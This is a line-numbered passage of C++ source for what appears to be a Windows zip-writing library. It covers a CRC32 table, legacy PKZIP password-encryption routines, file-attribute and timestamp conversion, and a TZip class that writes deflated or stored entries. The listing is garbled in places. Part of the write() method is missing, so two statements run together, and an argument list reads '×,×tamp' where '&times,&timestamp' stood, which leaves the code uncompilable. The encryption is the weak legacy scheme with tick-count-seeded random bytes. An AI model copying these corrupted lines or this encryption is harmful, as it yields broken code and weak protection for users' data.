2065 | 0xaa0a4c5fL, 0xdd0d7cc9L, 0x5005713cL, 0x270241aaL, 0xbe0b1010L,
2066 | 0xc90c2086L, 0x5768b525L, 0x206f85b3L, 0xb966d409L, 0xce61e49fL,
2067 | 0x5edef90eL, 0x29d9c998L, 0xb0d09822L, 0xc7d7a8b4L, 0x59b33d17L,
2068 | 0x2eb40d81L, 0xb7bd5c3bL, 0xc0ba6cadL, 0xedb88320L, 0x9abfb3b6L,
2069 | 0x03b6e20cL, 0x74b1d29aL, 0xead54739L, 0x9dd277afL, 0x04db2615L,
2070 | 0x73dc1683L, 0xe3630b12L, 0x94643b84L, 0x0d6d6a3eL, 0x7a6a5aa8L,
2071 | 0xe40ecf0bL, 0x9309ff9dL, 0x0a00ae27L, 0x7d079eb1L, 0xf00f9344L,
2072 | 0x8708a3d2L, 0x1e01f268L, 0x6906c2feL, 0xf762575dL, 0x806567cbL,
2073 | 0x196c3671L, 0x6e6b06e7L, 0xfed41b76L, 0x89d32be0L, 0x10da7a5aL,
2074 | 0x67dd4accL, 0xf9b9df6fL, 0x8ebeeff9L, 0x17b7be43L, 0x60b08ed5L,
2075 | 0xd6d6a3e8L, 0xa1d1937eL, 0x38d8c2c4L, 0x4fdff252L, 0xd1bb67f1L,
2076 | 0xa6bc5767L, 0x3fb506ddL, 0x48b2364bL, 0xd80d2bdaL, 0xaf0a1b4cL,
2077 | 0x36034af6L, 0x41047a60L, 0xdf60efc3L, 0xa867df55L, 0x316e8eefL,
2078 | 0x4669be79L, 0xcb61b38cL, 0xbc66831aL, 0x256fd2a0L, 0x5268e236L,
2079 | 0xcc0c7795L, 0xbb0b4703L, 0x220216b9L, 0x5505262fL, 0xc5ba3bbeL,
2080 | 0xb2bd0b28L, 0x2bb45a92L, 0x5cb36a04L, 0xc2d7ffa7L, 0xb5d0cf31L,
2081 | 0x2cd99e8bL, 0x5bdeae1dL, 0x9b64c2b0L, 0xec63f226L, 0x756aa39cL,
2082 | 0x026d930aL, 0x9c0906a9L, 0xeb0e363fL, 0x72076785L, 0x05005713L,
2083 | 0x95bf4a82L, 0xe2b87a14L, 0x7bb12baeL, 0x0cb61b38L, 0x92d28e9bL,
2084 | 0xe5d5be0dL, 0x7cdcefb7L, 0x0bdbdf21L, 0x86d3d2d4L, 0xf1d4e242L,
2085 | 0x68ddb3f8L, 0x1fda836eL, 0x81be16cdL, 0xf6b9265bL, 0x6fb077e1L,
2086 | 0x18b74777L, 0x88085ae6L, 0xff0f6a70L, 0x66063bcaL, 0x11010b5cL,
2087 | 0x8f659effL, 0xf862ae69L, 0x616bffd3L, 0x166ccf45L, 0xa00ae278L,
2088 | 0xd70dd2eeL, 0x4e048354L, 0x3903b3c2L, 0xa7672661L, 0xd06016f7L,
2089 | 0x4969474dL, 0x3e6e77dbL, 0xaed16a4aL, 0xd9d65adcL, 0x40df0b66L,
2090 | 0x37d83bf0L, 0xa9bcae53L, 0xdebb9ec5L, 0x47b2cf7fL, 0x30b5ffe9L,
2091 | 0xbdbdf21cL, 0xcabac28aL, 0x53b39330L, 0x24b4a3a6L, 0xbad03605L,
2092 | 0xcdd70693L, 0x54de5729L, 0x23d967bfL, 0xb3667a2eL, 0xc4614ab8L,
2093 | 0x5d681b02L, 0x2a6f2b94L, 0xb40bbe37L, 0xc30c8ea1L, 0x5a05df1bL,
2094 | 0x2d02ef8dL
2095 | };
2096 |
2097 | #define CRC32(c, b) (crc_table[((int)(c) ^ (b)) & 0xff] ^ ((c) >> 8))
2098 | #define DO1(buf) crc = CRC32(crc, *buf++)
2099 | #define DO2(buf) DO1(buf); DO1(buf)
2100 | #define DO4(buf) DO2(buf); DO2(buf)
2101 | #define DO8(buf) DO4(buf); DO4(buf)
2102 |
2103 | ulg crc32(ulg crc, const uch *buf, extent len)
2104 | { if (buf==NULL) return 0L;
2105 | crc = crc ^ 0xffffffffL;
2106 | while (len >= 8) {DO8(buf); len -= 8;}
2107 | if (len) do {DO1(buf);} while (--len);
2108 | return crc ^ 0xffffffffL; // (instead of ~c for 64-bit machines)
2109 | }
2110 |
2111 |
2112 | void update_keys(unsigned long *keys, char c)
2113 | { keys[0] = CRC32(keys[0],c);
2114 | keys[1] += keys[0] & 0xFF;
2115 | keys[1] = keys[1]*134775813L +1;
2116 | keys[2] = CRC32(keys[2], keys[1] >> 24);
2117 | }
2118 | char decrypt_byte(unsigned long *keys)
2119 | { unsigned temp = ((unsigned)keys[2] & 0xffff) | 2;
2120 | return (char)(((temp * (temp ^ 1)) >> 8) & 0xff);
2121 | }
2122 | char zencode(unsigned long *keys, char c)
2123 | { int t=decrypt_byte(keys);
2124 | update_keys(keys,c);
2125 | return (char)(t^c);
2126 | }
2127 |
2128 |
2129 |
2130 |
2131 |
2132 |
2133 |
2134 | bool HasZipSuffix(const TCHAR *fn)
2135 | { const TCHAR *ext = fn+_tcslen(fn);
2136 | while (ext>fn && *ext!='.') ext--;
2137 | if (ext==fn && *ext!='.') return false;
2138 | if (_tcsicmp(ext,_T(".Z"))==0) return true;
2139 | if (_tcsicmp(ext,_T(".zip"))==0) return true;
2140 | if (_tcsicmp(ext,_T(".zoo"))==0) return true;
2141 | if (_tcsicmp(ext,_T(".arc"))==0) return true;
2142 | if (_tcsicmp(ext,_T(".lzh"))==0) return true;
2143 | if (_tcsicmp(ext,_T(".arj"))==0) return true;
2144 | if (_tcsicmp(ext,_T(".gz"))==0) return true;
2145 | if (_tcsicmp(ext,_T(".tgz"))==0) return true;
2146 | return false;
2147 | }
2148 |
2149 |
2150 | lutime_t filetime2timet(const FILETIME ft)
2151 | { __int64 i = *(__int64*)&ft;
2152 | return (lutime_t)((i-116444736000000000)/10000000);
2153 | }
2154 |
2155 | void filetime2dosdatetime(const FILETIME ft, WORD *dosdate,WORD *dostime)
2156 | { // date: bits 0-4 are day of month 1-31. Bits 5-8 are month 1..12. Bits 9-15 are year-1980
2157 | // time: bits 0-4 are seconds/2, bits 5-10 are minute 0..59. Bits 11-15 are hour 0..23
2158 | SYSTEMTIME st; FileTimeToSystemTime(&ft,&st);
2159 | *dosdate = (WORD)(((st.wYear-1980)&0x7f) << 9);
2160 | *dosdate |= (WORD)((st.wMonth&0xf) << 5);
2161 | *dosdate |= (WORD)((st.wDay&0x1f));
2162 | *dostime = (WORD)((st.wHour&0x1f) << 11);
2163 | *dostime |= (WORD)((st.wMinute&0x3f) << 5);
2164 | *dostime |= (WORD)((st.wSecond*2)&0x1f);
2165 | }
2166 |
2167 |
2168 | ZRESULT GetFileInfo(HANDLE hf, ulg *attr, long *size, iztimes *times, ulg *timestamp)
2169 | { // The handle must be a handle to a file
2170 | // The date and time is returned in a long with the date most significant to allow
2171 | // unsigned integer comparison of absolute times. The attributes have two
2172 | // high bytes unix attr, and two low bytes a mapping of that to DOS attr.
2173 | //struct stat s; int res=stat(fn,&s); if (res!=0) return false;
2174 | // translate windows file attributes into zip ones.
2175 | BY_HANDLE_FILE_INFORMATION bhi; BOOL res=GetFileInformationByHandle(hf,&bhi);
2176 | if (!res) return ZR_NOFILE;
2177 | DWORD fa=bhi.dwFileAttributes; ulg a=0;
2178 | // Zip uses the lower word for its interpretation of windows stuff
2179 | if (fa&FILE_ATTRIBUTE_READONLY) a|=0x01;
2180 | if (fa&FILE_ATTRIBUTE_HIDDEN) a|=0x02;
2181 | if (fa&FILE_ATTRIBUTE_SYSTEM) a|=0x04;
2182 | if (fa&FILE_ATTRIBUTE_DIRECTORY)a|=0x10;
2183 | if (fa&FILE_ATTRIBUTE_ARCHIVE) a|=0x20;
2184 | // It uses the upper word for standard unix attr, which we manually construct
2185 | if (fa&FILE_ATTRIBUTE_DIRECTORY)a|=0x40000000; // directory
2186 | else a|=0x80000000; // normal file
2187 | a|=0x01000000; // readable
2188 | if (fa&FILE_ATTRIBUTE_READONLY) {} else a|=0x00800000; // writeable
2189 | // now just a small heuristic to check if it's an executable:
2190 | DWORD red, hsize=GetFileSize(hf,NULL); if (hsize>40)
2191 | { SetFilePointer(hf,0,NULL,FILE_BEGIN); unsigned short magic; ReadFile(hf,&magic,sizeof(magic),&red,NULL);
2192 | SetFilePointer(hf,36,NULL,FILE_BEGIN); unsigned long hpos; ReadFile(hf,&hpos,sizeof(hpos),&red,NULL);
2193 | if (magic==0x54AD && hsize>hpos+4+20+28)
2194 | { SetFilePointer(hf,hpos,NULL,FILE_BEGIN); unsigned long signature; ReadFile(hf,&signature,sizeof(signature),&red,NULL);
2195 | if (signature==IMAGE_DOS_SIGNATURE || signature==IMAGE_OS2_SIGNATURE
2196 | || signature==IMAGE_OS2_SIGNATURE_LE || signature==IMAGE_NT_SIGNATURE)
2197 | { a |= 0x00400000; // executable
2198 | }
2199 | }
2200 | }
2201 | //
2202 | if (attr!=NULL) *attr = a;
2203 | if (size!=NULL) *size = hsize;
2204 | if (times!=NULL)
2205 | { // lutime_t is 32bit number of seconds elapsed since 0:0:0GMT, Jan1, 1970.
2206 | // but FILETIME is 64bit number of 100-nanosecs since Jan1, 1601
2207 | times->atime = filetime2timet(bhi.ftLastAccessTime);
2208 | times->mtime = filetime2timet(bhi.ftLastWriteTime);
2209 | times->ctime = filetime2timet(bhi.ftCreationTime);
2210 | }
2211 | if (timestamp!=NULL)
2212 | { WORD dosdate,dostime;
2213 | filetime2dosdatetime(bhi.ftLastWriteTime,&dosdate,&dostime);
2214 | *timestamp = (WORD)dostime | (((DWORD)dosdate)<<16);
2215 | }
2216 | return ZR_OK;
2217 | }
2218 |
2219 |
2220 |
2221 |
2222 |
2223 |
2224 |
2225 |
2226 | class TZip
2227 | { public:
2228 | TZip(const char *pwd) : hfout(0),mustclosehfout(false),hmapout(0),zfis(0),obuf(0),hfin(0),writ(0),oerr(false),hasputcen(false),ooffset(0),encwriting(false),encbuf(0),password(0), state(0) {if (pwd!=0 && *pwd!=0) {password=new char[strlen(pwd)+1]; strcpy(password,pwd);}}
2229 | ~TZip() {if (state!=0) delete state; state=0; if (encbuf!=0) delete[] encbuf; encbuf=0; if (password!=0) delete[] password; password=0;}
2230 |
2231 | // These variables say about the file we're writing into
2232 | // We can write to pipe, file-by-handle, file-by-name, memory-to-memmapfile
2233 | char *password; // keep a copy of the password
2234 | HANDLE hfout; // if valid, we'll write here (for files or pipes)
2235 | bool mustclosehfout; // if true, we are responsible for closing hfout
2236 | HANDLE hmapout; // otherwise, we'll write here (for memmap)
2237 | unsigned ooffset; // for hfout, this is where the pointer was initially
2238 | ZRESULT oerr; // did a write operation give rise to an error?
2239 | unsigned writ; // how far have we written. This is maintained by Add, not write(), to avoid confusion over seeks
2240 | bool ocanseek; // can we seek?
2241 | char *obuf; // this is where we've locked mmap to view.
2242 | unsigned int opos; // current pos in the mmap
2243 | unsigned int mapsize; // the size of the map we created
2244 | bool hasputcen; // have we yet placed the central directory?
2245 | bool encwriting; // if true, then we'll encrypt stuff using 'keys' before we write it to disk
2246 | unsigned long keys[3]; // keys are initialised inside Add()
2247 | char *encbuf; // if encrypting, then this is a temporary workspace for encrypting the data
2248 | unsigned int encbufsize; // (to be used and resized inside write(), and deleted in the destructor)
2249 | //
2250 | TZipFileInfo *zfis; // each file gets added onto this list, for writing the table at the end
2251 | TState *state; // we use just one state object per zip, because it's big (500k)
2252 |
2253 | ZRESULT Create(void *z,unsigned int len,DWORD flags);
2254 | static unsigned sflush(void *param,const char *buf, unsigned *size);
2255 | static unsigned swrite(void *param,const char *buf, unsigned size);
2256 | unsigned int write(const char *buf,unsigned int size);
2257 | bool oseek(unsigned int pos);
2258 | ZRESULT GetMemory(void **pbuf, unsigned long *plen);
2259 | ZRESULT Close();
2260 |
2261 | // some variables to do with the file currently being read:
2262 | // I haven't done it object-orientedly here, just put them all
2263 | // together, since OO didn't seem to make the design any clearer.
2264 | ulg attr; iztimes times; ulg timestamp; // all open_* methods set these
2265 | bool iseekable; long isize,ired; // size is not set until close() on pips
2266 | ulg crc; // crc is not set until close(). iwrit is cumulative
2267 | HANDLE hfin; bool selfclosehf; // for input files and pipes
2268 | const char *bufin; unsigned int lenin,posin; // for memory
2269 | // and a variable for what we've done with the input: (i.e. compressed it!)
2270 | ulg csize; // compressed size, set by the compression routines
2271 | // and this is used by some of the compression routines
2272 | char buf[16384];
2273 |
2274 |
2275 | ZRESULT open_file(const TCHAR *fn);
2276 | ZRESULT open_handle(HANDLE hf,unsigned int len);
2277 | ZRESULT open_mem(void *src,unsigned int len);
2278 | ZRESULT open_dir();
2279 | static unsigned sread(TState &s,char *buf,unsigned size);
2280 | unsigned read(char *buf, unsigned size);
2281 | ZRESULT iclose();
2282 |
2283 | ZRESULT ideflate(TZipFileInfo *zfi);
2284 | ZRESULT istore();
2285 |
2286 | ZRESULT Add(const TCHAR *odstzn, void *src,unsigned int len, DWORD flags);
2287 | ZRESULT AddCentral();
2288 |
2289 | };
2290 |
2291 |
2292 |
2293 | ZRESULT TZip::Create(void *z,unsigned int len,DWORD flags)
2294 | { if (hfout!=0 || hmapout!=0 || obuf!=0 || writ!=0 || oerr!=ZR_OK || hasputcen) return ZR_NOTINITED;
2295 | //
2296 | if (flags==ZIP_HANDLE)
2297 | { HANDLE hf = (HANDLE)z;
2298 | hfout=hf; mustclosehfout=false;
2299 | #ifdef DuplicateHandle
2300 | BOOL res = DuplicateHandle(GetCurrentProcess(),hf,GetCurrentProcess(),&hfout,0,FALSE,DUPLICATE_SAME_ACCESS);
2301 | if (res) mustclosehandle=true;
2302 | #endif
2303 | // now we have hfout. Either we duplicated the handle and we close it ourselves
2304 | // (while the caller closes h themselves), or we couldn't duplicate it.
2305 | DWORD res = SetFilePointer(hfout,0,0,FILE_CURRENT);
2306 | ocanseek = (res!=0xFFFFFFFF);
2307 | if (ocanseek) ooffset=res; else ooffset=0;
2308 | return ZR_OK;
2309 | }
2310 | else if (flags==ZIP_FILENAME)
2311 | { const TCHAR *fn = (const TCHAR*)z;
2312 | hfout = CreateFile(fn,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
2313 | if (hfout==INVALID_HANDLE_VALUE) {hfout=0; return ZR_NOFILE;}
2314 | ocanseek=true;
2315 | ooffset=0;
2316 | mustclosehfout=true;
2317 | return ZR_OK;
2318 | }
2319 | else if (flags==ZIP_MEMORY)
2320 | { unsigned int size = len;
2321 | if (size==0) return ZR_MEMSIZE;
2322 | if (z!=0) obuf=(char*)z;
2323 | else
2324 | { hmapout = CreateFileMapping(INVALID_HANDLE_VALUE,NULL,PAGE_READWRITE,0,size,NULL);
2325 | if (hmapout==NULL) return ZR_NOALLOC;
2326 | obuf = (char*)MapViewOfFile(hmapout,FILE_MAP_ALL_ACCESS,0,0,size);
2327 | if (obuf==0) {CloseHandle(hmapout); hmapout=0; return ZR_NOALLOC;}
2328 | }
2329 | ocanseek=true;
2330 | opos=0; mapsize=size;
2331 | return ZR_OK;
2332 | }
2333 | else return ZR_ARGS;
2334 | }
2335 |
2336 | unsigned TZip::sflush(void *param,const char *buf, unsigned *size)
2337 | { // static
2338 | if (*size==0) return 0;
2339 | TZip *zip = (TZip*)param;
2340 | unsigned int writ = zip->write(buf,*size);
2341 | if (writ!=0) *size=0;
2342 | return writ;
2343 | }
2344 | unsigned TZip::swrite(void *param,const char *buf, unsigned size)
2345 | { // static
2346 | if (size==0) return 0;
2347 | TZip *zip=(TZip*)param; return zip->write(buf,size);
2348 | }
2349 | unsigned int TZip::write(const char *buf,unsigned int size)
2350 | { const char *srcbuf=buf;
2351 | if (encwriting)
2352 | { if (encbuf!=0 && encbufsize=mapsize) {oerr=ZR_MEMSIZE; return 0;}
2360 | memcpy(obuf+opos, srcbuf, size);
2361 | opos+=size;
2362 | return size;
2363 | }
2364 | else if (hfout!=0)
2365 | { DWORD writ; WriteFile(hfout,srcbuf,size,&writ,NULL);
2366 | return writ;
2367 | }
2368 | oerr=ZR_NOTINITED; return 0;
2369 | }
2370 |
2371 | bool TZip::oseek(unsigned int pos)
2372 | { if (!ocanseek) {oerr=ZR_SEEK; return false;}
2373 | if (obuf!=0)
2374 | { if (pos>=mapsize) {oerr=ZR_MEMSIZE; return false;}
2375 | opos=pos;
2376 | return true;
2377 | }
2378 | else if (hfout!=0)
2379 | { SetFilePointer(hfout,pos+ooffset,NULL,FILE_BEGIN);
2380 | return true;
2381 | }
2382 | oerr=ZR_NOTINITED; return 0;
2383 | }
2384 |
2385 | ZRESULT TZip::GetMemory(void **pbuf, unsigned long *plen)
2386 | { // When the user calls GetMemory, they're presumably at the end
2387 | // of all their adding. In any case, we have to add the central
2388 | // directory now, otherwise the memory we tell them won't be complete.
2389 | if (!hasputcen) AddCentral(); hasputcen=true;
2390 | if (pbuf!=NULL) *pbuf=(void*)obuf;
2391 | if (plen!=NULL) *plen=writ;
2392 | if (obuf==NULL) return ZR_NOTMMAP;
2393 | return ZR_OK;
2394 | }
2395 |
2396 | ZRESULT TZip::Close()
2397 | { // if the directory hadn't already been added through a call to GetMemory,
2398 | // then we do it now
2399 | ZRESULT res=ZR_OK; if (!hasputcen) res=AddCentral(); hasputcen=true;
2400 | if (obuf!=0 && hmapout!=0) UnmapViewOfFile(obuf); obuf=0;
2401 | if (hmapout!=0) CloseHandle(hmapout); hmapout=0;
2402 | if (hfout!=0 && mustclosehfout) CloseHandle(hfout); hfout=0; mustclosehfout=false;
2403 | return res;
2404 | }
2405 |
2406 |
2407 |
2408 |
2409 | ZRESULT TZip::open_file(const TCHAR *fn)
2410 | { hfin=0; bufin=0; selfclosehf=false; crc=CRCVAL_INITIAL; isize=0; csize=0; ired=0;
2411 | if (fn==0) return ZR_ARGS;
2412 | HANDLE hf = CreateFile(fn,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
2413 | if (hf==INVALID_HANDLE_VALUE) return ZR_NOFILE;
2414 | ZRESULT res = open_handle(hf,0);
2415 | if (res!=ZR_OK) {CloseHandle(hf); return res;}
2416 | selfclosehf=true;
2417 | return ZR_OK;
2418 | }
2419 | ZRESULT TZip::open_handle(HANDLE hf,unsigned int len)
2420 | { hfin=0; bufin=0; selfclosehf=false; crc=CRCVAL_INITIAL; isize=0; csize=0; ired=0;
2421 | if (hf==0 || hf==INVALID_HANDLE_VALUE) return ZR_ARGS;
2422 | DWORD res = SetFilePointer(hfout,0,0,FILE_CURRENT);
2423 | if (res!=0xFFFFFFFF)
2424 | { ZRESULT res = GetFileInfo(hf,&attr,&isize,×,×tamp);
2425 | if (res!=ZR_OK) return res;
2426 | SetFilePointer(hf,0,NULL,FILE_BEGIN); // because GetFileInfo will have screwed it up
2427 | iseekable=true; hfin=hf;
2428 | return ZR_OK;
2429 | }
2430 | else
2431 | { attr= 0x80000000; // just a normal file
2432 | isize = -1; // can't know size until at the end
2433 | if (len!=0) isize=len; // unless we were told explicitly!
2434 | iseekable=false;
2435 | SYSTEMTIME st; GetLocalTime(&st);
2436 | FILETIME ft; SystemTimeToFileTime(&st,&ft);
2437 | WORD dosdate,dostime; filetime2dosdatetime(ft,&dosdate,&dostime);
2438 | times.atime = filetime2timet(ft);
2439 | times.mtime = times.atime;
2440 | times.ctime = times.atime;
2441 | timestamp = (WORD)dostime | (((DWORD)dosdate)<<16);
2442 | hfin=hf;
2443 | return ZR_OK;
2444 | }
2445 | }
2446 | ZRESULT TZip::open_mem(void *src,unsigned int len)
2447 | { hfin=0; bufin=(const char*)src; selfclosehf=false; crc=CRCVAL_INITIAL; ired=0; csize=0; ired=0;
2448 | lenin=len; posin=0;
2449 | if (src==0 || len==0) return ZR_ARGS;
2450 | attr= 0x80000000; // just a normal file
2451 | isize = len;
2452 | iseekable=true;
2453 | SYSTEMTIME st; GetLocalTime(&st);
2454 | FILETIME ft; SystemTimeToFileTime(&st,&ft);
2455 | WORD dosdate,dostime; filetime2dosdatetime(ft,&dosdate,&dostime);
2456 | times.atime = filetime2timet(ft);
2457 | times.mtime = times.atime;
2458 | times.ctime = times.atime;
2459 | timestamp = (WORD)dostime | (((DWORD)dosdate)<<16);
2460 | return ZR_OK;
2461 | }
2462 | ZRESULT TZip::open_dir()
2463 | { hfin=0; bufin=0; selfclosehf=false; crc=CRCVAL_INITIAL; isize=0; csize=0; ired=0;
2464 | attr= 0x41C00010; // a readable writable directory, and again directory
2465 | isize = 0;
2466 | iseekable=false;
2467 | SYSTEMTIME st; GetLocalTime(&st);
2468 | FILETIME ft; SystemTimeToFileTime(&st,&ft);
2469 | WORD dosdate,dostime; filetime2dosdatetime(ft,&dosdate,&dostime);
2470 | times.atime = filetime2timet(ft);
2471 | times.mtime = times.atime;
2472 | times.ctime = times.atime;
2473 | timestamp = (WORD)dostime | (((DWORD)dosdate)<<16);
2474 | return ZR_OK;
2475 | }
2476 |
2477 | unsigned TZip::sread(TState &s,char *buf,unsigned size)
2478 | { // static
2479 | TZip *zip = (TZip*)s.param;
2480 | return zip->read(buf,size);
2481 | }
2482 |
2483 | unsigned TZip::read(char *buf, unsigned size)
2484 | { if (bufin!=0)
2485 | { if (posin>=lenin) return 0; // end of input
2486 | ulg red = lenin-posin;
2487 | if (red>size) red=size;
2488 | memcpy(buf, bufin+posin, red);
2489 | posin += red;
2490 | ired += red;
2491 | crc = crc32(crc, (uch*)buf, red);
2492 | return red;
2493 | }
2494 | else if (hfin!=0)
2495 | { DWORD red;
2496 | BOOL ok = ReadFile(hfin,buf,size,&red,NULL);
2497 | if (!ok) return 0;
2498 | ired += red;
2499 | crc = crc32(crc, (uch*)buf, red);
2500 | return red;
2501 | }
2502 | else {oerr=ZR_NOTINITED; return 0;}
2503 | }
2504 |
2505 | ZRESULT TZip::iclose()
2506 | { if (selfclosehf && hfin!=0) CloseHandle(hfin); hfin=0;
2507 | bool mismatch = (isize!=-1 && isize!=ired);
2508 | isize=ired; // and crc has been being updated anyway
2509 | if (mismatch) return ZR_MISSIZE;
2510 | else return ZR_OK;
2511 | }
2512 |
2513 |
2514 |
2515 | ZRESULT TZip::ideflate(TZipFileInfo *zfi)
2516 | { if (state==0) state=new TState();
2517 | // It's a very big object! 500k! We allocate it on the heap, because PocketPC's
2518 | // stack breaks if we try to put it all on the stack. It will be deleted lazily
2519 | state->err=0;
2520 | state->readfunc=sread; state->flush_outbuf=sflush;
2521 | state->param=this; state->level=8; state->seekable=iseekable; state->err=NULL;
2522 | // the following line will make ct_init realise it has to perform the init
2523 | state->ts.static_dtree[0].dl.len = 0;
2524 | // Thanks to Alvin77 for this crucial fix:
2525 | state->ds.window_size=0;
2526 | // I think that covers everything that needs to be initted.
2527 | //
2528 | bi_init(*state,buf, sizeof(buf), TRUE); // it used to be just 1024-size, not 16384 as here
2529 | ct_init(*state,&zfi->att);
2530 | lm_init(*state,state->level, &zfi->flg);
2531 | ulg sz = deflate(*state);
2532 | csize=sz;
2533 | ZRESULT r=ZR_OK; if (state->err!=NULL) r=ZR_FLATE;
2534 | return r;
2535 | }
2536 |
2537 | ZRESULT TZip::istore()
2538 | { ulg size=0;
2539 | for (;;)
2540 | { unsigned int cin=read(buf,16384); if (cin<=0 || cin==(unsigned int)EOF) break;
2541 | unsigned int cout = write(buf,cin); if (cout!=cin) return ZR_MISSIZE;
2542 | size += cin;
2543 | }
2544 | csize=size;
2545 | return ZR_OK;
2546 | }
2547 |
2548 |
2549 |
2550 |
2551 |
2552 | bool has_seeded=false;
2553 | ZRESULT TZip::Add(const TCHAR *odstzn, void *src,unsigned int len, DWORD flags)
2554 | { if (oerr) return ZR_FAILED;
2555 | if (hasputcen) return ZR_ENDED;
2556 |
2557 | // if we use password encryption, then every isize and csize is 12 bytes bigger
2558 | int passex=0; if (password!=0 && flags!=ZIP_FOLDER) passex=12;
2559 |
2560 | // zip has its own notion of what its names should look like: i.e. dir/file.stuff
2561 | TCHAR dstzn[MAX_PATH]; _tcscpy(dstzn,odstzn);
2562 | if (*dstzn==0) return ZR_ARGS;
2563 | TCHAR *d=dstzn; while (*d!=0) {if (*d=='\\') *d='/'; d++;}
2564 | bool isdir = (flags==ZIP_FOLDER);
2565 | bool needs_trailing_slash = (isdir && dstzn[_tcslen(dstzn)-1]!='/');
2566 | int method=DEFLATE; if (isdir || HasZipSuffix(dstzn)) method=STORE;
2567 |
2568 | // now open whatever was our input source:
2569 | ZRESULT openres;
2570 | if (flags==ZIP_FILENAME) openres=open_file((const TCHAR*)src);
2571 | else if (flags==ZIP_HANDLE) openres=open_handle((HANDLE)src,len);
2572 | else if (flags==ZIP_MEMORY) openres=open_mem(src,len);
2573 | else if (flags==ZIP_FOLDER) openres=open_dir();
2574 | else return ZR_ARGS;
2575 | if (openres!=ZR_OK) return openres;
2576 |
2577 | // A zip "entry" consists of a local header (which includes the file name),
2578 | // then the compressed data, and possibly an extended local header.
2579 |
2580 | // Initialize the local header
2581 | TZipFileInfo zfi; zfi.nxt=NULL;
2582 | strcpy(zfi.name,"");
2583 | #ifdef UNICODE
2584 | WideCharToMultiByte(CP_UTF8,0,dstzn,-1,zfi.iname,MAX_PATH,0,0);
2585 | #else
2586 | strcpy(zfi.iname,dstzn);
2587 | #endif
2588 | zfi.nam=strlen(zfi.iname);
2589 | if (needs_trailing_slash) {strcat(zfi.iname,"/"); zfi.nam++;}
2590 | strcpy(zfi.zname,"");
2591 | zfi.extra=NULL; zfi.ext=0; // extra header to go after this compressed data, and its length
2592 | zfi.cextra=NULL; zfi.cext=0; // extra header to go in the central end-of-zip directory, and its length
2593 | zfi.comment=NULL; zfi.com=0; // comment, and its length
2594 | zfi.mark = 1;
2595 | zfi.dosflag = 0;
2596 | zfi.att = (ush)BINARY;
2597 | zfi.vem = (ush)0xB17; // 0xB00 is win32 os-code. 0x17 is 23 in decimal: zip 2.3
2598 | zfi.ver = (ush)20; // Needs PKUNZIP 2.0 to unzip it
2599 | zfi.tim = timestamp;
2600 | // Even though we write the header now, it will have to be rewritten, since we don't know compressed size or crc.
2601 | zfi.crc = 0; // to be updated later
2602 | zfi.flg = 8; // 8 means 'there is an extra header'. Assume for the moment that we need it.
2603 | if (password!=0 && !isdir) zfi.flg=9; // and 1 means 'password-encrypted'
2604 | zfi.lflg = zfi.flg; // to be updated later
2605 | zfi.how = (ush)method; // to be updated later
2606 | zfi.siz = (ulg)(method==STORE && isize>=0 ? isize+passex : 0); // to be updated later
2607 | zfi.len = (ulg)(isize); // to be updated later
2608 | zfi.dsk = 0;
2609 | zfi.atx = attr;
2610 | zfi.off = writ+ooffset; // offset within file of the start of this local record
2611 | // stuff the 'times' structure into zfi.extra
2612 |
2613 | // nb. apparently there's a problem with PocketPC CE(zip)->CE(unzip) fails. And removing the following block fixes it up.
2614 | char xloc[EB_L_UT_SIZE]; zfi.extra=xloc; zfi.ext=EB_L_UT_SIZE;
2615 | char xcen[EB_C_UT_SIZE]; zfi.cextra=xcen; zfi.cext=EB_C_UT_SIZE;
2616 | xloc[0] = 'U';
2617 | xloc[1] = 'T';
2618 | xloc[2] = EB_UT_LEN(3); // length of data part of e.f.
2619 | xloc[3] = 0;
2620 | xloc[4] = EB_UT_FL_MTIME | EB_UT_FL_ATIME | EB_UT_FL_CTIME;
2621 | xloc[5] = (char)(times.mtime);
2622 | xloc[6] = (char)(times.mtime >> 8);
2623 | xloc[7] = (char)(times.mtime >> 16);
2624 | xloc[8] = (char)(times.mtime >> 24);
2625 | xloc[9] = (char)(times.atime);
2626 | xloc[10] = (char)(times.atime >> 8);
2627 | xloc[11] = (char)(times.atime >> 16);
2628 | xloc[12] = (char)(times.atime >> 24);
2629 | xloc[13] = (char)(times.ctime);
2630 | xloc[14] = (char)(times.ctime >> 8);
2631 | xloc[15] = (char)(times.ctime >> 16);
2632 | xloc[16] = (char)(times.ctime >> 24);
2633 | memcpy(zfi.cextra,zfi.extra,EB_C_UT_SIZE);
2634 | zfi.cextra[EB_LEN] = EB_UT_LEN(1);
2635 |
2636 |
2637 | // (1) Start by writing the local header:
2638 | int r = putlocal(&zfi,swrite,this);
2639 | if (r!=ZE_OK) {iclose(); return ZR_WRITE;}
2640 | writ += 4 + LOCHEAD + (unsigned int)zfi.nam + (unsigned int)zfi.ext;
2641 | if (oerr!=ZR_OK) {iclose(); return oerr;}
2642 |
2643 | // (1.5) if necessary, write the encryption header
2644 | keys[0]=305419896L;
2645 | keys[1]=591751049L;
2646 | keys[2]=878082192L;
2647 | for (const char *cp=password; cp!=0 && *cp!=0; cp++) update_keys(keys,*cp);
2648 | // generate some random bytes
2649 | if (!has_seeded) srand(GetTickCount()^(unsigned long)GetDesktopWindow());
2650 | char encbuf[12]; for (int i=0; i<12; i++) encbuf[i]=(char)((rand()>>7)&0xff);
2651 | encbuf[11] = (char)((zfi.tim>>8)&0xff);
2652 | for (int ei=0; ei<12; ei++) encbuf[ei]=zencode(keys,encbuf[ei]);
2653 | if (password!=0 && !isdir) {swrite(this,encbuf,12); writ+=12;}
2654 |
2655 | //(2) Write deflated/stored file to zip file
2656 | ZRESULT writeres=ZR_OK;
2657 | encwriting = (password!=0 && !isdir); // an object member variable to say whether we write to disk encrypted
2658 | if (!isdir && method==DEFLATE) writeres=ideflate(&zfi);
2659 | else if (!isdir && method==STORE) writeres=istore();
2660 | else if (isdir) csize=0;
2661 | encwriting = false;
2662 | iclose();
2663 | writ += csize;
2664 | if (oerr!=ZR_OK) return oerr;
2665 | if (writeres!=ZR_OK) return ZR_WRITE;
2666 |
2667 | // (3) Either rewrite the local header with correct information...
2668 | bool first_header_has_size_right = (zfi.siz==csize+passex);
2669 | zfi.crc = crc;
2670 | zfi.siz = csize+passex;
2671 | zfi.len = isize;
2672 | if (ocanseek && (password==0 || isdir))
2673 | { zfi.how = (ush)method;
2674 | if ((zfi.flg & 1) == 0) zfi.flg &= ~8; // clear the extended local header flag
2675 | zfi.lflg = zfi.flg;
2676 | // rewrite the local header:
